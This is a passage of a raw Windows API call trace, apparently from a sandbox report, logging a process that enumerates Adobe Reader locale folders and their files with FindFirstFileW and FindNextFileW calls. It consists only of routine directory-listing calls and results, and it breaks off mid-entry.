ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.740] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.740] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.740] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.740] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.740] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0045.740] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.740] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.740] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0045.740] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.740] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.741] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="ACCESS~1.RUM")) returned 1 [0045.741] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.741] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.741] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.742] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.742] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.742] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUM", cAlternateFileName="")) returned 1 [0045.742] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.742] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.742] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0045.742] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.742] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.742] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="ACCESS~1.RUS")) returned 1 [0045.743] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.743] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.743] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb6ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.743] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.743] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.743] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUS", cAlternateFileName="")) returned 1 [0045.744] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.744] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.744] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0045.744] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.744] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.744] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SKY", cAlternateFileName="ACCESS~1.SKY")) returned 1 [0045.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.745] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.745] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.745] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.745] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.745] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SKY", cAlternateFileName="")) returned 1 [0045.745] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.745] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.745] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0045.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.745] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.746] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="ACCESS~1.SLV")) returned 1 [0045.746] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.746] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.746] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.747] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.747] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.747] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SLV", cAlternateFileName="")) returned 1 [0045.747] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.747] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.747] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0045.747] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.943] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.943] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SVE", cAlternateFileName="ACCESS~1.SVE")) returned 1 [0054.889] FindNextFileW (in: hFindFile=0x3ec05b0, lpFindFileData=0x33ddcb4 | out: lpFindFileData=0x33ddcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827942d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827942d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.889] FindNextFileW (in: hFindFile=0x3ec05b0, lpFindFileData=0x33ddcb4 | out: lpFindFileData=0x33ddcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827942d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827969e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0055.558] FindNextFileW (in: hFindFile=0x3ec06b0, lpFindFileData=0x33ddcb4 | out: 